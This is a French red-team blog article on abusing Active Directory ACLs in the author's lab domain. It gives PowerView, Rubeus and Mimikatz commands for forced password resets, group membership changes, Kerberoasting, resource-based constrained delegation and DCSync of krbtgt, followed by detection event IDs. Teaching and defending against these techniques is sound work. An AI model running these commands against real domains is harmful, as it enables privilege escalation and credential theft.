Exploitation d’ACL en Active Directory12 minute(s) de lecture

Pour des raisons de sécurité, il est souvent impératif de pouvoir changer les permissions d’accès en fonction du niveau de privilèges théoriques d’un utilisateur par exemple. Sur le système de gestion de fichier NTFS, les ACLs permettent d’effectuer ces contrôles d’accès. En active Directory, un principe similaire est présent. Nous pouvons donc nous demander ce qu’il arrive si ces permissions sont mal gérées ? Pour mieux comprendre le mécanisme d’accès nous étudierons la structure d’une ACL, les droits qu’elles permettent pour enfin comprendre les abus et les utiliser au mieux. 

Les exemples qui suivront seront effectués sur un domaine m’appartenant “testlab.local” composé d’un contrôleur de domaine (DC01) Windows Server 2019. L’utilisateur Bobby est compromis, ainsi que son mot de passe (“metallica123!”). Les démonstrations des techniques seront opérées sur “Cobalt Strike”. L’antivirus sur le contrôleur de domaine est désactivé.

Principe

Quasiment tous les objets dans un Active Directory possèdent un SID (Security Identifier), cette propriété permet d’identifier chaque objet de manière unique. Lorsqu’un objet veut accéder à un autre objet, Windows va regarder dans le Security Descriptor de l’objet auquel on souhaite accéder, si le SID du demandeur est présent dans l’une des différentes ACL (Access Control List). Si c’est le cas, alors Windows regardera dans l’ACE les différentes permissions accordées au “trustee”, l’objet qui demande un accès. Ces permissions sont stockées dans une ACE (Access Control Entry). Il existe plusieurs types d’ACE qui garantissent plusieurs types d’accès différents. Pour plus de détail je vous invite à consulter mes articles sur le modèle de sécurité de Windows. Cependant Active Directory ajoute quelques subtilités que nous allons explorer.

ACE

La majeure partie des précisions qu’il faut apporter se situe dans les ACEs. Pour rappelle, la structure d’une ACE contient un champ AceType qui désigne comme son nom l’indique le type d’ACE, beaucoup plus de valeurs existent et sont disponible dans le header C++ iads.h. Les principales étant ACCESS_ALLOWED (OA, en SDDL pour un objet), ACCESS_DENIED (OD, en SDDL pour un objet):

typedef enum __MIDL___MIDL_itf_ads_0001_0048_0002 {
  ADS_ACETYPE_ACCESS_ALLOWED,
  ADS_ACETYPE_ACCESS_DENIED,
  ADS_ACETYPE_SYSTEM_AUDIT,
  ADS_ACETYPE_ACCESS_ALLOWED_OBJECT,
  ADS_ACETYPE_ACCESS_DENIED_OBJECT,
  ADS_ACETYPE_SYSTEM_AUDIT_OBJECT,
  ADS_ACETYPE_SYSTEM_ALARM_OBJECT,
  ADS_ACETYPE_ACCESS_ALLOWED_CALLBACK,
  ADS_ACETYPE_ACCESS_DENIED_CALLBACK,
  ADS_ACETYPE_ACCESS_ALLOWED_CALLBACK_OBJECT,
  ADS_ACETYPE_ACCESS_DENIED_CALLBACK_OBJECT,
  ADS_ACETYPE_SYSTEM_AUDIT_CALLBACK,
  ADS_ACETYPE_SYSTEM_ALARM_CALLBACK,
  ADS_ACETYPE_SYSTEM_AUDIT_CALLBACK_OBJECT,
  ADS_ACETYPE_SYSTEM_ALARM_CALLBACK_OBJECT
} ADS_ACETYPE_ENUM;

Aussi, le champ AceFlags contrôle l’héritage du droit accordé par l’ACE. On retrouve CONTAINER_INHERIT_ACE (CI) qui signifie que l’accès est accordé dans tous les objets enfants (que peuvent être les dossiers et fichiers, les groupes etc), INHERIT_ONLY_ACE (IO) est dans la continuité du précédent puisqu’il indique que l’accès conféré est le même que celui du parent (on peut donc remonter comme ceci jusqu’à l’ACE CONTAINER_INHERIT_ACE), INHERITED_ACE (ID) indique que l’ACE, a été hériter; l’ensemble des valeurs de ce champ se situe aussi dans iads.h pour les ACE de type objet:

typedef enum __MIDL___MIDL_itf_ads_0001_0048_0003 {
  ADS_ACEFLAG_INHERIT_ACE,
  ADS_ACEFLAG_NO_PROPAGATE_INHERIT_ACE,
  ADS_ACEFLAG_INHERIT_ONLY_ACE,
  ADS_ACEFLAG_INHERITED_ACE,
  ADS_ACEFLAG_VALID_INHERIT_FLAGS,
  ADS_ACEFLAG_SUCCESSFUL_ACCESS,
  ADS_ACEFLAG_FAILED_ACCESS
} ADS_ACEFLAG_ENUM;

La structure d’une ACE est définie en fonction du type d’accès, il existe logiquement  ACESS_DENIED et ACCESS_ALLOWED comme nous l’avons vu, cependant les structures sont sensiblement différentes:

typedef struct _ACCESS_ALLOWED_OBJECT_ACE {
  ACE_HEADER  Header;
  ACCESS_MASK Mask;
  DWORD       Flags;
  GUID        ObjectType;
  GUID        InheritedObjectType;
  DWORD       SidStart;
} ACCESS_ALLOWED_OBJECT_ACE, *PACCESS_ALLOWED_OBJECT_ACE;

typedef struct _ACCESS_DENIED_OBJECT_ACE {
  ACE_HEADER  Header;
  ACCESS_MASK Mask;
  DWORD       Flags;
  GUID        ObjectType;
  GUID        InheritedObjectType;
  DWORD       SidStart;
} ACCESS_DENIED_OBJECT_ACE, *PACCESS_DENIED_OBJECT_ACE;

ACE_HEADER est la structure vue précédemment, ACCESS_MASK est une structure permettant de définir le type d’accès accordé, Flags indique si les deux valeurs qui le suivent sont présentes, ObjectType est un GUID qui permet d’identifier un droit particulier quand donne un droit étendu par exemple, InheritObjectType défini le type d’objet qui peut hériter de cette ACE, SidStart est le Security Identifier (SID) de l’objet auquel on confère l’accès qui peut être présenté en tant que “well known identifier” (i.e AN=Anonymous, BA=Builtin Administrators, BU=Builtin Users, DA=Domain Administrators …), ce dernier est dénommé “trustee”. En SDDL on déclare une ACE avec des parenthèses et est structurée comme ceci (ace_type;ace_flags;rights;object_guid;inherit_object_guid;account_sid;resource_attribute) lorsqu’une information n’est pas précisé il faut toujours garder les points virgules; si on souhaite ajouter plusieurs ACEs il suffit d’ajouter plusieurs structures à la suite. Voilà deux schémas qui vous permettront de mieux visualiser la différence entre les deux types d’ACE (générique et objet):

ACE générique
ACE objet

Une ACE objet peut aisément être créée avec PowerShell. Pour cela il faut utiliser l’espace de nom System.DirectoryServices qui contient la classe ActiveDirectoryAccessRule:

# ACE qui donne GenericAll a PrincipalIdentity sur CN=Administrator,CN=Users,DC=testlab,DC=local
$ADSI = [ADSI]"LDAP://CN=Administrator,CN=Users,DC=testlab,DC=local"
$IdentityReference = New-Object System.Security.Principal.NTAccount "PrincipalIdentity"
$ACE = New-Object System.DirectoryServices.ActiveDirectoryAccessRule $IdentityReference,"GenericAll","Allow"

$ACE

Access Mask

Quelques subtilités viennent s’ajouter au masque d’accès, en particulier des nouveaux accès spécifiques sont créés:

  • Les droits étendus sont des accès spécifiques à Active Directory, il en existe un nombre conséquent (voir https://docs.microsoft.com/fr-fr/windows/win32/adschema/extended-rights) et chacun est caractérisé par un GUID. En revanche certains sont plus intéressant que d’autres, on note par exemple User-Force-Change-Password, qui permet comme son nom l’indique de changer le mot de passe d’un utilisateur, DS-Replication-Get-Changes et DS-Replication-Get-Changes-All permettent, lorsqu’ils sont présent ensemble, d’effectuer une réplication des hash, qui théoriquement se fait entre contrôleurs de domaine. Enfin AllExtendedRights permet à un objet de posséder tous les droits étendus sur un autre.
  • Les droits de contrôle Active Directory notés “ADS rights” (“Active Directory Service rights”, aussi connu sous le nom de “Directory Services Access Rights”, même si leur documentation est un peu moins fourni https://docs.microsoft.com/en-us/windows/win32/secauthz/directory-services-access-rights). Là aussi il en existe un grand nombre (voir leur définition ci-dessous), mais on peut remarquer plusieurs droits, ADS_RIGHT_GENERIC_ALL, ADS_RIGHT_GENERIC_WRITE, ADS_RIGHT_WRITE_OWNER, ADS_RIGHT_WRITE_DAC. On remarque ici que ces droits sont essentiellement les mêmes que les droits génériques et standards, mais ici ils sont appliqués à des objets Active Directory. Ainsi il est possible comme les accès génériques/standards d’associer certains droits Active Directory à d’autres: ADS_GENERIC_READ équivaut à ADS_DS_LIST_CONTENTS, ADS_DS_READ_PROPERTY, ADS_DS_LIST_OBJECT; ADS_GENERIC_WRITE sont équivalent à ADS_DS_WRITE_PROPERTY et ainsi de suite. Il est aussi à noter que le sens des droits reste inchangé, en d’autres termes ADS_WRITE_DAC permet d’écrire la DACL etc.
typedef enum __MIDL___MIDL_itf_ads_0001_0048_0001 {
  ADS_RIGHT_DELETE,
  ADS_RIGHT_READ_CONTROL,
  ADS_RIGHT_WRITE_DAC,
  ADS_RIGHT_WRITE_OWNER,
  ADS_RIGHT_SYNCHRONIZE,
  ADS_RIGHT_ACCESS_SYSTEM_SECURITY,
  ADS_RIGHT_GENERIC_READ,
  ADS_RIGHT_GENERIC_WRITE,
  ADS_RIGHT_GENERIC_EXECUTE,
  ADS_RIGHT_GENERIC_ALL,
  ADS_RIGHT_DS_CREATE_CHILD,
  ADS_RIGHT_DS_DELETE_CHILD,
  ADS_RIGHT_ACTRL_DS_LIST,
  ADS_RIGHT_DS_SELF,
  ADS_RIGHT_DS_READ_PROP,
  ADS_RIGHT_DS_WRITE_PROP,
  ADS_RIGHT_DS_DELETE_TREE,
  ADS_RIGHT_DS_LIST_OBJECT,
  ADS_RIGHT_DS_CONTROL_ACCESS
} ADS_RIGHTS_ENUM;

Ce sont souvent les mêmes accès qui sont utilisés, c’est pourquoi l’énumération ActiveDirectoryRights issue de l’espace de nom System.DirectoryServices ne les contient pas tous.

Enumération

Pour pouvoir les exploiter, il faudrait déjà savoir les énumérer. Comme ces permissions sont consultées avant d’accéder à un objet, cela signifie que théoriquement tout le monde peut y accéder sans encombre (sauf certaines exceptions). Nombre d’outils permettent de faire cela, comme PowerView (un peu plus de détails sur ce dernier plus tard) avec les fonctions cmdlets Get-DomainObjectAcl et Invoke-ACLScanner voir même Find-InterestingAcl. Le très connu BloodHound et son ingestor SharpHound, dont ce dernier peut exclusivement récolter les ACLs lorsque l’argument -c ACL est utilisé, mais dans le bouquet par défaut elles sont tout de même récupérées. Grâce à Bloodhound, il est possible de créer et visualiser des chemins d’attaques via des ACLs: les sommets du graphe représentent les objets et les arêtes représentent les droits (qui peuvent aussi ne pas être des ACLs).

Comment ces outils fonctionnent ? Ils utilisent le fait que le SecurityDescriptor d’un objet est disponible dans l’annuaire LDAP de l’Active Directory. Pour y accéder on utilise une DirectoryEntry de l’espace de nom C# System.DirectoryServices (qui gère essentiellement l’interfaçage entre l’annuaire et la partie programmation, il utilise principalement LDAP mais ce dernier est particulièrement utiliser par à autre espace de nom, System.DirectoryServices.Protocols qui permet d’y accéder dans un niveau un peu plus bas, ce qui permet dans certains cas d’accéder à des attributs qui d’ordinaire ne sont pas accessibles). Avec PowerShell:

# avec des identifiants
$rawEntry = New-Object System.DirectoryServices.DirectoryEntry "LDAP://", "UserName", "Password"
# sans identifiants on peut se permettre d'utiliser un accélérateur de type
$rawEntry = [ADSI] "LDAP://"
$rawEntry.ObjectSecurity.Access

En C#:

// avec des identifiants
DirectoryEntry rawEntry = new DirectoryEntry("LDAP://", "UserName", "Password");
// sans identifiants
DirectoryEntry rawEntry = new DirectoryEntry("LDAP://");
ActiveDirectorySecurity EntrySecurity = rawEntry.ObjectSecurity;
foreach (ActiveDirectoryAccessRule accessRule in sec.GetAccessRules(true, true, typeof(NTAccount)))
{
	Console.WriteLine(accessRule.ActiveDirectoryRights.ToString());
}

Exploitation

Lorsque certains accès sont donnés à un utilisateur ou un groupe, ce dernier peut l’utiliser pour obtenir davantage de privilèges voir prendre totalement le contrôle d’un autre objet. L’exploitation de la DACL est donc principalement effectuée pour l’élévation de privilèges. Pour mener ces attaques, PowerView est entièrement à notre disposition. Cet outil est énormément utilisé quand il s’agit d’énumérer ou d’exploiter un Active Directory, il a initialement été publié avec Veil-Framework en 2014 (avec son confrère PowerUp), et est depuis intégré à PowerSploit. La version dev du projet est bien mieux fournie et évoluée (c’est cette version qui est utilisée ici), alors que dans beaucoup de documentation on le retrouve sous sa forme master. Depuis que PowerSploit n’est plus maintenu, c’est @exploitph qui a repris le flambeau, https://github.com/ZeroDayLab/PowerSploit/blob/master/Recon/PowerView.ps1; il est a noter qu’une version en C# du projet existe, SharpView disponible ici https://github.com/tevora-threat/SharpView (malheureusement incomplète).

Si notre objet possède le droit WriteOwner on peut utiliser la cmdlet Set-DomainObjectOwner comme ceci:

Set-DomainObjectOwner -Identity TargetIdentity -OwnerIdentity SelfIdentity -Verbose

comme nous l’avons vu précédemment, l’intérêt ici est que le propriétaire d’un objet possède implicitement GenericAll sur ce dernier.

Si notre objet possède le droit User-Force-Change-Password on peut alors changer le mot de passe de l’utilisateur que l’on cible avec Set-DomainUserPassword:

$newPass = ConvertTo-SecureString -AsPlainText -Force "Passw0rd1!"
Set-DomainUserPassword -Identity TargetIdentity -AccountPassword $newPass -Verbose

Si notre objet possède des droits génériques d’écriture (GenericWrite) sur un:

  • Un groupe, il peut alors s’y ajouter avec Add-DomainGroupMember.
Add-DomainGroupMember -Identity TargetGroup -MemberIdentity UserOrGroupIdentity
  • Un utilisateur, il peut alors effectuer un kerberoasting/asreproasting visé (si ces attaques vous sont inconnues, ne vous inquiétez pas, un futur article traitant de l’exploitation des mauvaises configurations de kerberos arrivera bientôt).
#Kerberoasting

Set-DomainObject -Identity TargetIdentity -SET @{serviceprincipalname='nonexistent/BLAHBLAH'} -Verbose # Ici le nom du serviceprincipalname n’a pas d'intérêt 

Invoke-Kerberoast -Identity TargetIdentity Get-DomainSPNTicket -Identity TargetIdentity 

.\Rubeus.exe kerberoast /user:TargetIdentity

#Asreproasting 

Set-DomainObject -Identity TargetIdentity -XOR {useraccountcontrol=4194304} -Verbose # DONT_REQUIRE_PREAUTH 

.\Rubeus.exe asreproast /user:TargetIdentity 

Get-ASREPHash -UserName TargetIdentity -Domain domain.local
  • Une machine, il peut alors effectué une “Ressource based Constrain Delegation” qui est une attaque sur kerberos permettant d’usurper l’identité d’un utilisateur sur la machine cible:
New-MachineAccount -MachineAccount BadMachine -Password $(ConvertTo-SecureString 'Passw0rd1!' -AsPlainText -Force) 
$ComputerSid = (Get-DomainComputer BadMachine -Properties objectsid).objectsid 
$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$($ComputerSid))" 
$SDBytes = New-Object byte[] ($SD.BinaryLength) $SD.GetBinaryForm($SDBytes, 0) 
Get-DomainComputer TargetComputer | Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes} 

.\Rubeus.exe hash /password:Passw0rd1! 
.\Rubeus.exe s4u /user:BadMachine$ /rc4:B2BDBE60565B677DFB133866722317FD /impersonateuser:Administrator /msdsspn:cifs/TARGETCOMPUTER.testlab.local /ptt
  • Une GPO, il peut faire appliquer aux objets contrôlés par cette dernière des règles arbitraires (voir l’article sur l’abus de GPO).
  • Une unité organisationnelle, ce qui peut permettre de prendre le contrôle de tous les enfants de cette dernière.
$Guids = Get-DomainGUIDMap 
$AllObjectsPropertyGuid = $Guids.GetEnumerator() | ?{$_.value -eq 'All'} | select -ExpandProperty name 
$ACE = New-ADObjectAccessControlEntry -Verbose -PrincipalIdentity 'SelfIdentity' -Right GenericAll -AccessControlType Allow -InheritanceType All -InheritedObjectType $AllObjectsPropertyGuid 
$OU = Get-DomainOU -Raw $OU 
$DsEntry = $OU.GetDirectoryEntry() 
$dsEntry.PsBase.Options.SecurityMasks = 'Dacl' 
$dsEntry.PsBase.ObjectSecurity.AddAccessRule($ACE) 
$dsEntry.PsBase.CommitChanges()

Avec GenericAll, toutes les attaques disponibles avec GenericWrite sont possibles. Cependant d’autres sont permises, sur un utilisateur il est possible de changer son mot de passe, sur un domaine il est possible de faire une attaque de type DCSync.

Si notre objet possède le droit WriteDACL, il peut ajouter une ACL sur l’objet qu’il contrôle, on peut donc distinguer les cas suivants:

  • Sur un Groupe/Utilisateur/Machine/GPO/unité organisationnelle, ajout d’un accès générique donnant tous les pouvoirs (GenericAll).
Add-DomainObjectAcl -TargetIdentity TargetIdentity -PrincipalIdentity SelfIdentity -Rights All -Verbose
  • Sur un domaine, ajout des ACLs Get-Changes et Get-ChangesAll qui sont caractéristiques du droit DCSync.
Add-DomainObjectAcl -TargetIdentity "DC=domain,DC=local" -PrincipalIdentity SelfIdentity -Rights DCSync -Verbose
Invoke-Mimikatz "'lsadump::dcsync /domain:domain.local /user:krbtgt'"

Si notre objet possède tous les droits étendus (AllExtendedRights) sur un autre objet il peut si c’est:

  • Un utilisateur, changer son mot de passe avec Set-DomainUserPassword.
  • Un groupe, modifier les membres de ce dernier avec Add-DomainGroupMember.
  • Une machine, effectuer une “Ressource based Constrain Delegation”.
  • Sur un domaine, effectuer une attaque de type DCSync.

Pour le faire plus synthétiquement, voici un tableau récapitulatif.

type d’accèsfonction PowerView
ForceChangePasswordSet-DomainUserPassword
WriteProperty/GenericAll/GenericWriteSet-DomainObject
CreateChild/WriteMemberAdd-DomainGroupMember
WriteDaclAdd-DomainObjectAcl
WriteOwnerSet-DomainObjectOwner

Chemin d’attaque

Comme mentionné précédemment, BloodHound permet de créer des chemins d’attaque. Cette partie vise à exemplifier cette idée. Pour ceux qui sont à l’aise avec la langue de Shakespeare, cette vidéo de SpecterOps est parfaite pour vous https://www.youtube.com/watch?v=5USRboxxYUo, sinon, retournons étudier notre graphe. En sélectionnant la requête “Find Principals with DCSync Rights”, nous voyons que l’utilisateur Rick peut demander une réplication de hash.

Puis nous demandons à BloodHound de nous tracer un chemin de bobby à Rick, ainsi nous remarquons que notre utilisateur possède le droit WriteDACL sur le groupe “Users Manager”, et ce dernier a GenericAll sur l’unité organisationnelle “Sensitive Account” qui contient Rick.

Ainsi pour devenir administrateur de ce domaine il faut: 

  • Ajouter une ACE sur “Users Manager” nous donnant le contrôle du groupe et ainsi nous y ajouter.
  • Prendre le contrôle des descendants de l’OU “Manager Users” et changer le mot de passe de Rick.
  • Obtenir un beacon en tant que Rick et DCSync l’administrateur.

Impacts Forensics

Dépendant de l’exploitation qui est faite, différentes traces vont être laissées. En effet, si WriteDACL est exploité, les EvendIDs 4670 et 4662 seront générés sur le contrôleur de domaine qui a géré la requête (sans compter l’ACE ajoutée qui doit être supprimée). Si GenericWrite/GenericAll/WriteProperty sont exploités, la modification d’un attribut LDAP provoquera l’EventID 5136. Si un utilisateur est ajouté à un groupe c’est l’EventID 4728 qui sera généré, en prenant aussi en compte qu’un utilisateur ne sera pas dans un groupe auquel il est censé appartenir. Si une “Ressource Based Contrain Delegation”, est utilisée, un nouveau compte machine sera ajouté et engendrera l’EventID 4741 et une nouvelle machine inhabituelle dans le domaine. Si un mot de passe est changé en exploitant User-Force-Change-Password par exemple, l’EventID 4724 sera généré sur le contrôleur de domaine qui a géré la requête.

Conclusion

Dans cet article nous avons vue que les permissions dans un Active Directory ne sont pas à délaisser, sinon un attaquant peut les utiliser de manière malveillante en s’assurant gain de privilège voir même mouvement latéral, d’autant plus que ce vecteur d’attaque est bien moins connu et est souvent négligé (surtout quand il s’agit d’infrastructure de longue date ou bien Exchange). En espérant que ce poste vous a plu, je vous invite à aller regarder l’article de programmation en complément de celui-ci, et l’article de persistance en utilisant la DACL que vous pouvez trouver dans la partie RedTeam du blog. Si vous préférez aller plus loin, je ne peux que vous conseiller l’excellent papier de SpecterOps An Ace up the sleeve ainsi que la lecture de [MS-DTYP], [MS-ADOD] et [MS-ADTS].

Leave a Reply